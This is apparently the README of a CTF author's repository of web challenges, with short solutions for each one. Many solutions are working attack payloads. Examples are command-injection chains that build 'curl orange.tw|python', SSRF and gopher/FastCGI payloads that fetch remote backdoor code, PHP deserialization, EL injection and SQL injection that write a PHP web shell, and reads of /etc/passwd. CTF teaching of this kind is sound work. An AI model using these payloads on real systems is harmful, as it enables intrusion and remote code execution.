Collection of CTF Web challenges I made
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ais3-final-2015/sqlpwn Initial commit Aug 1, 2016
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hitcon-ctf-2015 WCTF BlackBox added Aug 1, 2016
hitcon-ctf-2016 add %%% config Oct 13, 2016
hitcon-ctf-2017 Fix typo Nov 6, 2017
hitcon-ctf-2018 Update exp_for_php.py Oct 23, 2018
wctf-2016/BlackBox WCTF BlackBox added Aug 1, 2016
README.md Update README.md Oct 28, 2018

README.md

My CTF Web Challenges

This is the repo of CTF challenges I made, including the source code, write-up and idea explanation! Hope you like it :)

P.s. BTW, Babyfirst series are my favorite in all challenges. If you don't have time to see all, please look the them at least!


You can contact me via:


Table of Content


One Line PHP Challenge

Difficulty: ★★★★
Solved: 3 / 1816
Tag: PHP

Source Code

Solution

P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04

  1. Control partial session file content by PHP_SESSION_UPLOAD_PROGRESS
  2. Bypass session.upload_progress.cleanup = On by race condition or slow query
  3. Control the prefix to @<?php by chaining PHP wrappers

Write Ups

Baby Cake

Difficulty: ★★★
Solved: 4 / 1816
Tag: Code Review, PHP, De-serialization

Source Code

Solution

Due to the implement of CURLOPT_SAFE_UPLOAD in CakePHP FormData.php. We can read arbitrary files!

# arbitrary file read, listen port 12345 on your server
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@/etc/passwd

# arbitrary de-serialization the Monolog POP chain
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@phar://../tmp/cache/mycache/[you_ip]/[md5_of_url]/body.cache

Write Ups

Oh My Raddit

Difficulty: ★★☆
Solved: 27 / 1816
Tag: Observation, DES checksum, Crypto, Web

Source Code

Solution

  1. Know ECB mode from block frequency analysis
  2. Know block size = 8 from cipher length
  3. From the information above, it's reasonable to use DES in real world
  4. The most common block is 3ca92540eb2d0a42(always in the cipher end). We can guess it's the padding \x08\x08\x08\x08\x08\x08\x08\x08
  5. Due to the checking parity in DES, we can reduce the keyspace from 26(abcdefghijklmnopqrstuvwxyz) to 13(acegikmoqsuwy)
    • Break in 1 second with HashCat
    • Break in 10 minutes with single thread Python

Write Ups

Oh My Raddit v2

Difficulty: ★★
Solved: 10 / 1816
Tag: Web.py, SQL Injection to RCE

Source Code

Solution

Write Ups

Why so Serials?

Difficulty: ★★★★
Solved: 1 / 1816
Tag: De-serialization, RCE, ASP.NET, View State

Source Code

Solution

  1. Get the machineKey in web.config by Server-Side-Includes(.shtml or .stm)
  2. Exploit ASP.NET ___VIEWSTATE by ysoserial.net

Write Ups

BabyFirst Revenge

Difficulty: ★☆
Solved: 95 / 1541
Tag: WhiteBox, PHP, Command Injection

Idea

  • Command Injection, but only in 5 bytes

Source Code

Solution

# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

# generate `curl orange.tw|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _

# got shell
http://host/?cmd=sh g

You can check the exploit.py for the detail! And there are also lots of creative solutions, you can check the write ups below.

Write Ups

BabyFirst Revenge v2

Difficulty: ★★★★
Solved: 8 / 1541
Tag: WhiteBox, PHP, Command Injection

Idea

  • Command Injection, but only in 4 bytes

Source Code

Solution

  1. generate g> ht- sl to file v
  2. reverse file v to file x
  3. generate curl orange.tw|python;
  4. execute x, ls -th >g
  5. execute g

You can check exploit.py for the detail!

Write Ups

SSRFme?

Difficulty: ★★☆
Solved: 20 / 1541
Tag: WhiteBox, Perl, PATH Pollution

Idea

  • CVE-2016-1238 (But the latest version of Ubuntu 17.04 in AWS is still vulnerable)
  • Perl lookup current directory in module importing
  • Perl module URI/lib/URI.pm#L136 will eval if there is a unknown scheme

Source Code

$ sudo apt install libwww-perl

Solution

# write evil URI module to current directory
$ curl http://host/?filename=URI/orange.pm&url=http://orange.tw/w/backdoor.pl

# eval evil module `orange`
$ curl http://host/?filename=xxx&url=orange://orange.tw

Write Ups

SQL so Hard

Difficulty: ★★★
Solved: 10 / 1541
Tag: WhiteBox, MySQL, PostgreSQL, SQL Injection, Code Injection

Idea

Source Code

Solution

Write Ups

Baby^H Master PHP 2017

Difficulty: ★★★★☆
Solved: 0 / 1541
Tag: WhiteBox, PHP, Serialization, Apache Prefock

Idea

  • PHP do the de-serialization on PHAR parsing
  • PHP assigned a predictable function name \x00lambda_%d to an anonymous function
  • Break shared VARIABLE state in Apache Pre-fork mode

Source Code

Solution

# get a cookie
$ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process
$ python fork.py &

# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"

Write Ups

papapa

Difficulty:
Solved: 71 / 1024
Tag: BlackBox, SSL, Pentesting

Idea

  • Leak the internal hostname from SSL certificate

Source Code

Solution

$ openssl s_client -showcerts -connect 1.2.3.4:443 < /dev/null | openssl x509 -text | grep -A 1 "Subject Alternativer Name"
...
depth=0 C = TW, ST = Some-State, O = Internet Widgits Pty Ltd, CN = very-secret-area-for-ctf.orange.tw, emailAddress = orange@chroot.org
...
# get flag
$ curl -k  -H "host: very-secret-area-for-ctf.orange.tw" https://1.2.3.4/

Write Ups

Leaking

Difficulty: ★★
Solved: 43 / 1024
Tag: WhiteBox, JavaScript, NodeJS

Idea

Source Code

Solution

$ while true; do curl 'http://1.2.3.4/?data=Buffer(1e4)' | grep -a hitcon; done;

Write Ups

BabyTrick

Difficulty: ★★★
Solved: 24 / 1024
Tag: WhiteBox, PHP, MySQL, SQL Injection, Unserialize

Idea

Source Code

Solution

# get password
curl http://1.2.3.4/
?data=O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:39:"'union%20select%201,2,password%20from%20users%23";}}

# get flag
curl http://1.2.3.4/
?data=O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÄnge";i:1;s:13:"babytrick1234";}}

Write Ups

Angry Boy

Difficulty: ★★☆
Solved: 43 / 1024
Tag: GrayBox, Java

Idea

Source Code

Solution

Write Ups

Angry Seam

Difficulty: ★★★★
Solved: 4 / 1024
Tag: GrayBox, Java, Seam Framework, CSS RPO, EL Injection, Java Deserialization

Idea

Source Code

Solution


P.s. I made this challenge because once when I try to review the code of Seam Framework, I found some 0-days and I think it must have more. So I throw out the brick to attract a jade. And the result is more than I expected :P


Intended solution

  • Register an account

    username: `AAAAAA`    
    password: `AAAAAA`  
    realname: `{/*';*/}%0a@import'http://orange.tw/?`  
    
  • Report URL

    http://1.2.3.4:8080/angryseam/profile.seam?actionOutcom>e=/profile.seam?username%3dAAAAAA
    

Unintended solution

  • Register an account
  • Update description to
  • Login and access
/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}
GET /angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription()) HTTP/1.1
host: 1.2.3.4
cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),request.getHeader('ccc'))}
ccc: ls -alh
...

Unintended solution

  • CVE-2013-2165 Java deserialization vulnerability

Unintended solution

  • SESSION manipulation... seam SUCKS

Write Ups

Babyfirst

Solved: 33 / 969
Difficulty: ★★
Tag: WhiteBox, PHP, Command Injection

Idea

  • Use NewLine to bypass regular expression check
  • Command injection only with alphanumeric characters

Source Code

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }

    exec("/bin/orange " . implode(" ", $args));
?>

Solution

http://localhost/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=orange%0a
&args[3]=cd
&args[4]=orange%0a
&args[5]=wget
&args[6]=846465263%0a

http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a
&args[5]=php
&args[6]=aa

And there are also lots of creative solutions, you can check the write ups below.

Write Ups

nanana

Difficulty: ★★★
Solved: 18 / 969
Tag: GrayBox, C, PWN

Idea

  • Pwn without library
  • Format String without output
  • Bypass Stack Guard by using overflow ARGV[1]

Source Code

Solution

Write Ups

Giraffe's Coffee

Difficulty: ★★★☆
Solved: 16 / 969
Tag: WhiteBox, PHP

Idea

  • Break PHP PRNG
  • Break shared PRNG STATE in Apache Prefork mode

Source Code

Solution

TBD

Write Ups

lalala

Difficulty: ★★★☆
Solved: 2 / 969
Tag: BlackBox, PHP, SSRF

Idea

  • Bypass SSRF restrictiton with 302 redirect
  • Exploit FASTCGI protocol by using GOPHER

Source Code

Solution

<?php
header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%86%00%00%0E%03REQUEST_METHODGET%0F%0ASCRIPT_FILENAME/www/a.php%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );

Write Ups

Use-After-FLEE

Solved: 1 / 969
Difficulty: ★★★★☆
Tag: WhiteBox, PHP, UAF, PWN

Idea

Source Code

Solution

TBD

Write Ups

PUSHIN CAT

Solved: 8 / 1020
Difficulty: ★★
Platform: BlackBox, PHP, H2, SQL Injection

Idea

  • SQL Injection on H2 Database
  • Execute Code by using H2 SQL Injection

Source Code

Solution

TBD

Write Ups

PY4H4SHER

Solved: 30 / 1020
Difficulty: ★★☆
Tag: WhiteBox, Python, Collision, HPP

Idea

Source Code

Solution

TBD  

Write Ups

LEENODE

Solved: 2 / 1020
Difficulty: ★★★
Tag: BlackBox, ColdFusion, Apache

Idea

  • Multilayered architecture vulnerability
  • Double Encoding

Source Code

Solution

# get password
$ curl http://1.2.3.4/admin%252f%252ehtpasswd%2500.cfm

# get flag
$ curl http://1.2.3.4/admin/thefl4g.txt 

Write Ups

BlackBox

Solved: 0 / 12
Difficulty: ★★★★
Tag: GrayBox, PHP, JAVA, mod_jk, H2, SQL Injection, WAF

Idea

  • Multilayered architecture vulnerability
  • Default and up to date mod_jk leads to directory travesal
  • Bypass WAF by incorrect usage of BASE64 and URLENCODE
  • SQL Injection on H2 Database
  • Execute Code by using H2 SQL Injection

Source Code

Solution

  • Get source code

    http://1.2.3.4/login/..;/
    
  • Review code and find a way to bypass WAF

    $ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,version(),null--"
    $ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_read('/etc/apache2/sites-enabled/000-default.conf'),null--"
  • Write shell

    $ curl "http://1.2.3.4/news/?id=1~~~~' and 1=2 union select null,null,file_write('3c3f706870206576616c28245f504f53545b6363635d293b3f3e', '/www/write_shell_here_=P/.a.php'),null--"
    $ curl "http://1.2.3.4/write_shell_here_=P/.a.php" -d 'phpinfo();'

Write Ups

TBD

SQLPWN

Solved: 0 / ??
Difficulty: ★★★
Tag: WhiteBox, PHP, SQL Injection, LFI, Race Condition

Idea

  • One-byte off SQL Injection
  • Race Condition
  • Local file inclusion with PHP session

Source Code

Solution

  • Run exploit.py to win race condition

  • Login and SQL Injection

    $ curl http://1.2.3.4/sqlpwn.php -d 'title=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\&note=, concat(0x3a3a3a3a3a3a,(select pass from users where name=0x6f72616e6765)))#'
  • Local file inclusion with session

    $ curl http://1.2.3.4/sqlpwn.php?mode=admin&boom=../../../../../../var/lib/php5/sess_243220

Write Ups